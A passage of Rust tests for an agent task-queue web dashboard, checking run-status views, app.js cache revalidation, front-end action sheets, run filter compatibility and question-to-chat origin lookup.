23698    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23699        let fx = Fixture::start().await;
23700        let q = fx.queue();
23701        let runs = fx.runs();
23702
23703        // Still Blocked: the task is not resolved, so the older run must not
23704        // read as settled either.
23705        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23706        write_run(&runs, still_blocked_a, RunStatus::Blocked);
23707        write_run(&runs, still_blocked_b, RunStatus::Blocked);
23708        let mut t1 = Task::new(
23709            "still stuck".to_owned(),
23710            "do it".to_owned(),
23711            PathBuf::from("/repo"),
23712            Source::Human,
23713        );
23714        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23715        q.put(&mut t1).expect("put");
23716        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23717        assert_eq!(view1["latest_attempt"]["resolved"], false);
23718        assert_eq!(view1["latest_attempt"]["status"], "blocked");
23719        assert_eq!(view1["latest_attempt"]["done"], true);
23720
23721        // Still running: the successor exists and must be reported as such.
23722        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23723        write_run(&runs, run_a, RunStatus::Blocked);
23724        write_run(&runs, run_b, RunStatus::Implementing);
23725        let mut t3 = Task::new(
23726            "retrying".to_owned(),
23727            "do it".to_owned(),
23728            PathBuf::from("/repo"),
23729            Source::Human,
23730        );
23731        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23732        q.put(&mut t3).expect("put");
23733        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23734        assert_eq!(view3["latest_attempt"]["id"], run_b);
23735        assert_eq!(view3["latest_attempt"]["resolved"], false);
23736        assert_eq!(view3["latest_attempt"]["done"], false);
23737
23738        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
23739        // to check - not a confirmed finish, so this must not read as
23740        // resolved either, even though the run is done in the sense that
23741        // nothing is still running.
23742        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23743        write_run(&runs, noop_a, RunStatus::Blocked);
23744        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23745        let mut t2 = Task::new(
23746            "claims done".to_owned(),
23747            "do it".to_owned(),
23748            PathBuf::from("/repo"),
23749            Source::Human,
23750        );
23751        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23752        q.put(&mut t2).expect("put");
23753        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23754        assert_eq!(
23755            view2["latest_attempt"]["resolved"], false,
23756            "an unverified no-op claim must not read as a confirmed finish"
23757        );
23758
23759        // Front end: an unresolved successor must not carry the "finished
23760        // this work" note or the muted chip treatment.
23761        assert!(APP_JS.contains("latest.resolved"));
23762        // ...but the link to it shows as soon as it exists, labelled by state
23763        // and without the "finished" wording or the muted chip.
23764        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23765        assert!(APP_JS.contains("Latest attempt: "));
23766        assert!(APP_JS.contains("in flight"));
23767        assert!(APP_JS.contains("not resolved"));
23768    }
23769
23770    #[tokio::test]
23771    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23772        let fx = Fixture::start().await;
23773        // No cache header at all meant browsers invented their own policy,
23774        // and one did: a phone went on showing "Candidates must be folded
23775        // before deleting. Run `magi fold` first." - deleted two releases
23776        // earlier - from a deck that no longer contained the sentence. The
23777        // button it named was right there, and unreachable.
23778        let js = fx.get("/app.js").await;
23779        assert_eq!(js.status, 200);
23780        let tag = js
23781            .header("etag")
23782            .expect("an etag to revalidate against")
23783            .to_owned();
23784        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23785        assert_eq!(
23786            js.header("cache-control"),
23787            Some("no-cache, must-revalidate"),
23788            "the phone has to ask every time"
23789        );
23790
23791        // And the asking has to be cheap, or `must-revalidate` just means
23792        // "send the whole interface on every load".
23793        let again = fx
23794            .get_with("/app.js", &[("if-none-match", tag.as_str())])
23795            .await;
23796        assert_eq!(
23797            again.status, 304,
23798            "a deck it already has costs one round trip"
23799        );
23800        assert!(again.body.is_empty(), "304 carries no body");
23801
23802        // A weakened tag from a proxy still matches; a different build does
23803        // not, which is the case that has to deliver the new interface.
23804        let weak = fx
23805            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23806            .await;
23807        assert_eq!(weak.status, 304);
23808        let stale = fx
23809            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23810            .await;
23811        assert_eq!(stale.status, 200, "an older build must be replaced");
23812        assert!(stale.body.contains("renderRunActions"));
23813    }
23814
23815    #[test]
23816    fn the_task_detail_has_an_actions_fab_and_sheet() {
23817        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23818        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23819        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23820        // Shown only on the task route, closed everywhere else.
23821        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23822        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23823        // Refreshed whenever the detail redraws, including the loading state.
23824        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23825        assert!(APP_JS.contains("renderTaskActions(null);"));
23826        // Same renderers and routes as the Queue card, no new endpoint.
23827        let sheet = APP_JS
23828            .find("function renderTaskActions")
23829            .expect("sheet renderer");
23830        let body = &APP_JS[sheet..sheet + 3000];
23831        assert!(body.contains("changePriority("));
23832        assert!(body.contains("openTaskEdit(task)"));
23833        assert!(body.contains("renderTaskHoldBox(host"));
23834        assert!(body.contains("renderTaskDoneBox(host"));
23835        assert!(body.contains("renderTaskDeleteBox(host"));
23836        assert!(APP_JS.contains("API.priority(id)"));
23837        assert!(APP_JS.contains("API.deleteTask(id)"));
23838        // A deleted task sends the operator back to the queue.
23839        assert!(APP_JS.contains("location.hash = \"#/queue\""));
23840        // A refusal is shown inside the sheet.
23841        assert!(APP_JS.contains("$(\"task-actions-error\")"));
23842    }
23843
23844    #[test]
23845    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23846        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23847        let actions = INDEX_HTML
23848            .find("id=\"run-actions-box\"")
23849            .expect("actions box");
23850        assert!(task < actions, "the task entry comes first in the sheet");
23851        assert!(APP_JS.contains("renderRunTaskEntry"));
23852        assert!(APP_JS.contains("\"Open task \""));
23853        // A run without a task says why there is nothing to open.
23854        assert!(APP_JS.contains("started directly, no task"));
23855        assert!(APP_JS.contains("sheet-task-link"));
23856        assert!(APP_JS.contains("task-chip-link"));
23857    }
23858
23859    #[test]
23860    fn the_deck_never_sends_the_operator_to_a_terminal() {
23861        // The whole point of the phone UI is that a terminal is not needed.
23862        // The delete control used to answer with "Run `magi fold` first."
23863        assert!(
23864            !APP_JS.contains("Run `magi fold` first"),
23865            "the deck must offer the fold, not prescribe a shell command"
23866        );
23867        assert!(APP_JS.contains("foldRun:"));
23868        assert!(APP_JS.contains("resumeRun:"));
23869        assert!(APP_JS.contains("renderRunActions"));
23870
23871        // Folding is destructive and armed in two steps, like deleting.
23872        assert!(APP_JS.contains("armedFold"));
23873        assert!(APP_JS.contains("Yes, fold worktrees"));
23874
23875        // And the copy has to say that the two actions are opposites, because
23876        // folding throws away exactly what a resume would continue from.
23877        assert!(APP_JS.contains("can no longer be resumed"));
23878    }
23879
23880    #[test]
23881    fn a_finished_run_explains_itself_with_its_own_last_line() {
23882        // The deck used to answer "why did this stop?" with a sentence chosen
23883        // by status alone. Run e633 stalled because two judges answered with
23884        // the wrong JSON shape and its card said "The panel collapsed on
23885        // agent quota" - with `quota: []` in the record and a quota-loss
23886        // counter right above it that correctly said nothing.
23887        assert!(
23888            !APP_JS.contains("collapsed on agent quota"),
23889            "a stall must not be explained by a cause the deck did not check"
23890        );
23891        assert!(
23892            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23893            "and a block must not offer a guess with an `or` in it"
23894        );
23895
23896        // The reason it does have is `run.event`, which must reach finished
23897        // runs: gating it on movement hid the recorded truth at the one moment
23898        // the operator is reading the card to find out what happened.
23899        assert!(
23900            APP_JS.contains("setText(r.event, run.event || \"\")"),
23901            "the run's last line is rendered unconditionally"
23902        );
23903        assert!(
23904            !APP_JS.contains("moving && run.event"),
23905            "and never gated on the run still moving"
23906        );
23907
23908        // Quota keeps its own counter, fed by the number actually recorded.
23909        assert!(APP_JS.contains("lost to quota"));
23910    }
23911
23912    /// The runs tree (section) and the state chips (waiting/done) are two
23913    /// independent lenses ANDed together in `renderRuns`, and some pairings
23914    /// can never both be true for any run - every "Landed"/"Ended" run is
23915    /// done by construction, so pairing either with "Active" or "In flight"
23916    /// always rendered zero cards with the filter bar still claiming
23917    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
23918    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
23919    /// a handful of (waiting, status) shapes standing in for the run
23920    /// lifecycle, because `cargo test` cannot execute the front end.
23921    ///
23922    /// That stand-in list is itself the part that drifted twice in review:
23923    /// once shipped with `waiting: true` paired with a done status the
23924    /// lifecycle cannot produce, then over-corrected into treating every
23925    /// waiting run as never done - which made "Waiting on you" look
23926    /// incompatible with "Done" even for the one real, reachable shape
23927    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
23928    /// that combination. This test parses the shapes and the done-rule back
23929    /// out of `APP_JS`, reimplements `runSection` and the five state
23930    /// predicates independently in Rust, and checks the resulting
23931    /// section/filter compatibility table against the lifecycle rules by
23932    /// hand - so either direction of drift fails it again.
23933    #[test]
23934    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23935        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23936        let shapes_body_start =
23937            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23938        let shapes_close = APP_JS[shapes_body_start..]
23939            .find("].map(")
23940            .expect("the shape list is closed by its done-computing .map(...)")
23941            + shapes_body_start;
23942        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23943
23944        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23945        for entry in shapes_src.split('{').skip(1) {
23946            let waiting = entry.contains("waiting: true");
23947            let dead = entry.contains("live: \"dead\"");
23948            let status_at =
23949                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23950            let status_end = entry[status_at..]
23951                .find('"')
23952                .expect("the status string is closed")
23953                + status_at;
23954            let parked = entry.contains("display_status: \"parked\"");
23955            shapes.push((
23956                waiting,
23957                entry[status_at..status_end].to_string(),
23958                dead,
23959                parked,
23960            ));
23961        }
23962        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23963
23964        // The done rule itself (`!["implementing"].includes(shape.status)`),
23965        // read out of the source rather than hardcoded, so a renamed
23966        // in-flight status can't silently make every parsed shape "done".
23967        let done_rule_marker = "done: !";
23968        let done_rule_at = APP_JS[shapes_close..]
23969            .find(done_rule_marker)
23970            .expect("the done rule follows the shape list")
23971            + shapes_close
23972            + done_rule_marker.len();
23973        let includes_at = APP_JS[done_rule_at..]
23974            .find(".includes(shape.status)")
23975            .expect("the done rule ends in .includes(shape.status)")
23976            + done_rule_at;
23977        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23978            .trim()
23979            .trim_start_matches('[')
23980            .trim_end_matches(']')
23981            .split(',')
23982            .map(|s| s.trim().trim_matches('"'))
23983            .filter(|s| !s.is_empty())
23984            .collect();
23985
23986        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23987            .into_iter()
23988            .map(|(waiting, status, dead, parked)| {
23989                let done = !not_done.contains(&status.as_str());
23990                (waiting, status, dead, parked, done)
23991            })
23992            .collect();
23993
23994        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
23995        // outright, then merged/ready land, stalled/blocked/failed/
23996        // verified_noop end, and everything else is still in flight.
23997        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23998            if waiting {
23999                return "waiting";
24000            }
24001            if dead
24002                && !parked
24003                && !matches!(
24004                    status,
24005                    "merged"
24006                        | "ready"
24007                        | "stalled"
24008                        | "blocked"
24009                        | "failed"
24010                        | "verified_noop"
24011                        | "superseded"
24012                        | "already_in_base"
24013                )
24014            {
24015                return "stale";
24016            }
24017            match status {
24018                "merged" | "ready" => "landed",
24019                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24020                | "already_in_base" => "ended",
24021                _ => "flight",
24022            }
24023        }
24024
24025        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
24026        // way.
24027        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24028            match filter_key {
24029                "active" => !done,
24030                "flight" => !done && !waiting && !dead,
24031                "stale" => !done && !waiting && dead,
24032                "waiting" => waiting,
24033                "done" => done,
24034                "all" => true,
24035                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24036            }
24037        }
24038
24039        let compatible = |section: &str, filter_key: &str| {
24040            shapes.iter().any(|(waiting, status, dead, parked, done)| {
24041                run_section(*waiting, status, *dead, *parked) == section
24042                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24043            })
24044        };
24045
24046        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
24047        // (active, flight, stale, waiting, done, all) - hand-derived from the
24048        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
24049        // currently contains.
24050        let expected = [
24051            ("waiting", [true, false, false, true, true, true]),
24052            ("stale", [true, false, true, false, false, true]),
24053            ("flight", [true, true, false, false, false, true]),
24054            ("landed", [false, false, false, false, true, true]),
24055            ("ended", [false, false, false, false, true, true]),
24056        ];
24057        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24058
24059        for (section, wants) in expected {
24060            for (filter_key, want) in filter_keys.iter().zip(wants) {
24061                assert_eq!(
24062                    compatible(section, filter_key),
24063                    want,
24064                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24065                );
24066            }
24067        }
24068
24069        // The compatibility check exists only to be acted on: both pickers
24070        // must actually consult it rather than just render its answer.
24071        assert!(
24072            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24073        );
24074        assert!(APP_JS.contains(
24075            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24076        ));
24077        assert!(APP_JS.contains(
24078            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24079        ));
24080    }
24081
24082    #[tokio::test]
24083    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24084        // An operator-named directory - git checkout or not - is never
24085        // second-guessed, even when it does not exist at all: only the
24086        // flag's own unmodified `.` default is ever eligible for discovery.
24087        let dir = tempfile::tempdir().expect("tempdir");
24088        let explicit = dir.path().join("not-a-checkout");
24089        std::fs::create_dir_all(&explicit).expect("create dir");
24090        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24091
24092        let missing = dir.path().join("does-not-exist-at-all");
24093        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24094    }
24095
24096    #[test]
24097    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24098        assert!(APP_JS.contains("function statsDonutArcs"));
24099        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24100        // A bucket click filters by the statuses src/stats.rs counts in it.
24101        assert!(APP_JS.contains("function statusInBucket"));
24102        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24103        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24104        let buckets = [
24105            "merged",
24106            "ready",
24107            "in_progress",
24108            "blocked",
24109            "failed",
24110            "verified_noop",
24111            "superseded",
24112            "stalled",
24113        ];
24114        for key in buckets {
24115            let var = format!("--verdict-{key}:");
24116            // Light, OS-dark and pinned-dark blocks each define it.
24117            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24118            assert!(
24119                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24120                "{key}"
24121            );
24122        }
24123    }
24124
24125    #[tokio::test]
24126    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24127        let dir = tempfile::tempdir().expect("tempdir");
24128        let queue = Queue::at(dir.path().join("queue"));
24129        let talks = Talks::at(dir.path().join("talks"));
24130        std::fs::create_dir_all(queue.root()).unwrap();
24131        std::fs::create_dir_all(talks.root()).unwrap();
24132
24133        // Put a corrupt json file in both stores
24134        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24135        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24136
24137        // Valid task and talk
24138        let mut task = Task::new(
24139            "title".into(),
24140            "inst".into(),
24141            PathBuf::from("/repo"),
24142            Source::Human,
24143        );
24144        task.id = "20261019-123456-abcd".into();
24145        // Write manually so it's a valid file
24146        std::fs::write(
24147            queue.path_of(&task.id),
24148            serde_json::to_string(&task).unwrap(),
24149        )
24150        .unwrap();
24151
24152        let talk_id = "20261019-234567-cdef";
24153        seed_talk_at(&talks, talk_id, "open");
24154
24155        // Exact match should succeed without failing on the corrupt json file
24156        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24157        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24158
24159        // Prefix match should also succeed by scanning file names without deserializing corrupt file
24160        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24161        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24162    }
24163
24164    #[tokio::test]
24165    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24166        let home = tempfile::tempdir().unwrap();
24167        let ui = delta_test_ui(home.path());
24168        // A full history traversal would fail even with no questions.
24169        std::fs::write(ui.queue.root(), "not a directory").unwrap();
24170        std::fs::write(ui.talks.root(), "not a directory").unwrap();
24171        assert!(
24172            questions_list(State(ui.clone()))
24173                .await
24174                .unwrap()
24175                .0
24176                .is_empty()
24177        );
24178        assert!(
24179            question_origins(State(ui.clone()))
24180                .await
24181                .unwrap()
24182                .0
24183                .is_empty()
24184        );
24185        let mut question = Question::new(
24186            "run-history".into(),
24187            "review".into(),
24188            "seat".into(),
24189            "Useful question".into(),
24190            "Useful detail".into(),
24191            vec![],
24192        );
24193        ui.questions.put(&mut question).unwrap();
24194        let core = questions_core(State(ui.clone())).await.unwrap().0;
24195        assert_eq!(core.len(), 1);
24196        assert_eq!(core[0].question.summary, "Useful question");
24197        assert!(!core[0].can_consult_chat);
24198        assert!(core[0].origin_chat.is_none());
24199        assert_eq!(core[0].record_revision, question_record_revision(&question));
24200        assert!(question_origins(State(ui.clone())).await.is_err());
24201        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24202    }
24203
24204    #[tokio::test]
24205    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24206        let home = tempfile::tempdir().unwrap();
24207        let ui = delta_test_ui(home.path());
24208        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24209        let mut parent = Task::new(
24210            "parent".into(),
24211            "body".into(),
24212            PathBuf::from("/repo"),
24213            Source::Agent {
24214                run: chat.clone(),
24215                node: crate::queue::CHAT_NODE.into(),
24216            },
24217        );
24218        parent.id = "parent-task".into();
24219        parent.runs = vec!["parent-run".into()];
24220        ui.queue.put(&mut parent).unwrap();
24221        let mut previous = parent;
24222        for generation in 1..=2 {
24223            let mut child = Task::new(
24224                "child".into(),
24225                "body".into(),
24226                PathBuf::from("/repo"),
24227                Source::Human,
24228            );
24229            child.id = format!("child-task-{generation}");
24230            child.runs = vec![format!("child-run-{generation}")];
24231            child.followup = Some(crate::queue::FollowUp {
24232                origin_task: Some(previous.id.clone()),
24233                run: previous.runs[0].clone(),
24234                pr: String::new(),
24235                findings: vec![],
24236                generation,
24237            });
24238            ui.queue.put(&mut child).unwrap();
24239            previous = child;
24240        }
24241        // A run may have the same spelling as another task's id; its owner
24242        // must not override a typed task reference.
24243        let mut collision = Task::new(
24244            "collision".into(),
24245            String::new(),
24246            PathBuf::from("/repo"),
24247            Source::Human,
24248        );
24249        collision.id = "collision-task".into();
24250        collision.runs = vec![previous.id.clone()];
24251        ui.queue.put(&mut collision).unwrap();
24252        let mut questions = Vec::new();
24253        for (node, reference, expected, eligible) in [
24254            (crate::triage::NODE, previous.id.as_str(), true, false),
24255            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24256            ("review", previous.runs[0].as_str(), true, true),
24257            (
24258                crate::bump::NOTICE_NODE,
24259                previous.runs[0].as_str(),
24260                true,
24261                false,
24262            ),
24263            // Identical text in the wrong reference namespace is not evidence.
24264            ("review", previous.id.as_str(), false, false),
24265            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24266            ("review", "unrelated", false, false),
24267        ] {
24268            let mut q = Question::new(
24269                reference.into(),
24270                node.into(),
24271                "seat".into(),
24272                "Question".into(),
24273                String::new(),
24274                vec![],
24275            );
24276            ui.questions.put(&mut q).unwrap();
24277            questions.push((q, expected, eligible));
24278        }
24279        for (node, reference, associated, eligible) in [
24280            (crate::reconcile::NODE, previous.id.as_str(), true, false),
24281            (
24282                crate::reconcile::NODE,
24283                previous.runs[0].as_str(),
24284                false,
24285                true,
24286            ),
24287            ("implement", previous.id.as_str(), false, false),
24288        ] {
24289            let mut q = Question::new(
24290                reference.into(),
24291                node.into(),
24292                crate::reconcile::SEAT.into(),
24293                "Reconcile".into(),
24294                String::new(),
24295                vec![],
24296            );
24297            ui.questions.put(&mut q).unwrap();
24298            questions.push((q, associated, eligible));
24299        }
24300        let mut release = Question::new(
24301            "release-record".into(),
24302            crate::bump::NOTICE_NODE.into(),
24303            "release-watch".into(),
24304            "Release".into(),
24305            String::new(),
24306            vec![],
24307        );
24308        ui.questions.put(&mut release).unwrap();
24309        let watch = crate::release_watch::WatchState {
24310            question: Some(release.id.clone()),
24311            run: Some(previous.runs[0].clone()),
24312            held_task: Some(previous.id.clone()),
24313            ..Default::default()
24314        };
24315        let watch_dir = home.path().join("release-watch");
24316        std::fs::create_dir_all(&watch_dir).unwrap();
24317        let watch_path = watch_dir.join("watch.json");
24318        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24319        // Ordinary questions and bump notices do not need watch-store I/O.
24320        for batch in [
24321            Vec::new(),
24322            questions.iter().map(|(q, _, _)| q.clone()).collect(),
24323        ] {
24324            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24325            assert!(watches.is_empty());
24326        }
24327        questions.push((release.clone(), true, false));
24328
24329        let views = questions_list(State(ui.clone())).await.unwrap().0;
24330        let origins = question_origins(State(ui.clone())).await.unwrap().0;
24331        for (q, associated, eligible) in &questions {
24332            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24333            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24334            let expected = associated.then_some(chat.as_str());
24335            assert_eq!(
24336                view.origin_chat.as_deref(),
24337                expected,
24338                "{} {}",
24339                q.node,
24340                q.run
24341            );
24342            assert_eq!(origin.origin_chat.as_deref(), expected);
24343            assert_eq!(view.origin_chat_closed, *associated);
24344            assert_eq!(origin.origin_chat_closed, *associated);
24345            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24346            assert_eq!(origin.can_consult_chat, *eligible);
24347        }
24348        // Either saved link independently recovers a release question's owner.
24349        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24350            let link = crate::release_watch::WatchState {
24351                run,
24352                held_task,
24353                ..watch.clone()
24354            };
24355            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24356            let (tasks, talks, watches) =
24357                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24358            assert_eq!(
24359                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24360                    .unwrap()
24361                    .id,
24362                chat,
24363            );
24364            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24365        }
24366        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24367        // Even identical duplicate records are ambiguous: ignore their links.
24368        let duplicate_path = watch_dir.join("duplicate.json");
24369        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24370        let (tasks, talks, watches) =
24371            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24372        assert!(
24373            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24374                .is_none()
24375        );
24376        std::fs::remove_file(duplicate_path).unwrap();
24377        // Another explicit owner is a conflict even if it has no chat.
24378        let mut unrelated = Task::new(
24379            "other".into(),
24380            String::new(),
24381            PathBuf::from("/repo"),
24382            Source::Human,
24383        );
24384        unrelated.id = "unrelated-task".into();
24385        ui.queue.put(&mut unrelated).unwrap();
24386        let mut conflicting = watch.clone();
24387        conflicting.held_task = Some(unrelated.id);
24388        std::fs::write(
24389            watch_dir.join("conflict.json"),
24390            serde_json::to_vec(&conflicting).unwrap(),
24391        )
24392        .unwrap();
24393        let (tasks, talks, watches) =
24394            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24395        assert!(
24396            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24397                .is_none()
24398        );
24399        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24400        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24401        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24402            assert!(origin.origin_chat.is_none());
24403            assert!(!origin.origin_chat_closed);
24404        }
24405    }
24406
24407    #[test]
24408    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24409        let home = tempfile::tempdir().unwrap();
24410        let ui = delta_test_ui(home.path());
24411        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24412        for i in 0..1000 {
24413            let mut task = Task::new(
24414                "unrelated".into(),
24415                "instruction ".repeat(256),
24416                PathBuf::from("/repo"),
24417                Source::Human,
24418            );
24419            task.id = format!("history-{i:04}");
24420            ui.queue.put(&mut task).unwrap();
24421            let id = seed_talk_at(&ui.talks, &task.id, "open");
24422            let mut talk = ui.talks.get(&id).unwrap();
24423            talk.pending = "history ".repeat(256);
24424            ui.talks.put(&mut talk).unwrap();
24425        }
24426        let mut parent = Task::new(
24427            "parent".into(),
24428            "body".into(),
24429            PathBuf::from("/repo"),
24430            Source::Agent {
24431                run: chat_id.clone(),
24432                node: crate::queue::CHAT_NODE.into(),
24433            },
24434        );
24435        parent.id = "task-parent".into();
24436        parent.runs = vec!["run-parent".into()];
24437        ui.queue.put(&mut parent).unwrap();
24438        let mut child = Task::new(
24439            "child".into(),
24440            "body".into(),
24441            PathBuf::from("/repo"),
24442            Source::Human,
24443        );
24444        child.id = "task-child".into();
24445        child.runs = vec!["run-child".into()];
24446        child.followup = Some(crate::queue::FollowUp {
24447            run: "run-parent".into(),
24448            origin_task: Some(parent.id.clone()),
24449            pr: "https://example.invalid/pr/1".into(),
24450            findings: vec![],
24451            generation: 1,
24452        });
24453        ui.queue.put(&mut child).unwrap();
24454        let mut question = Question::new(
24455            child.id.clone(),
24456            crate::conduct::NODE.into(),
24457            "seat".into(),
24458            "Continue?".into(),
24459            String::new(),
24460            vec![],
24461        );
24462        let (tasks, talks, _watches) =
24463            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24464        assert_eq!(tasks.len(), 2);
24465        assert_eq!(talks.len(), 1);
24466        assert_eq!(
24467            ui.monitor.queue_index.lock().unwrap().reparsed,
24468            0,
24469            "exact ancestry bypasses the index"
24470        );
24471        assert_eq!(
24472            crate::consult::origin_talk(&tasks, &talks, &question)
24473                .unwrap()
24474                .id,
24475            chat_id
24476        );
24477        question.run = "run-child".into();
24478        question.node = "review".into();
24479        for origin_task in [Some(parent.id.clone()), None] {
24480            child.followup.as_mut().unwrap().origin_task = origin_task;
24481            ui.queue.put(&mut child).unwrap();
24482            let (tasks, talks, _watches) =
24483                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24484            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24485            let expected =
24486                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24487                    .unwrap();
24488            assert_eq!(actual.id, expected.id);
24489            assert!(!actual.status.open());
24490            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24491            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24492            // Without Unix file identity, every readable record must be
24493            // reparsed to detect same-size, same-mtime replacements safely.
24494            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24495            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24496        }
24497        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24498        ui.queue.put(&mut child).unwrap();
24499        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24500        let (tasks, talks, _watches) =
24501            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24502        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24503        child.origin_chat = Some(chat_id.clone());
24504        ui.queue.put(&mut child).unwrap();
24505        let (tasks, talks, _watches) =
24506            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24507        assert_eq!(
24508            crate::consult::origin_talk(&tasks, &talks, &question)
24509                .unwrap()
24510                .id,
24511            chat_id
24512        );
24513        let revision = question_record_revision(&question);
24514        question.abandon("settled elsewhere");
24515        assert_ne!(revision, question_record_revision(&question));
24516        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24517        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24518        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24519        let (tasks, talks, _watches) =
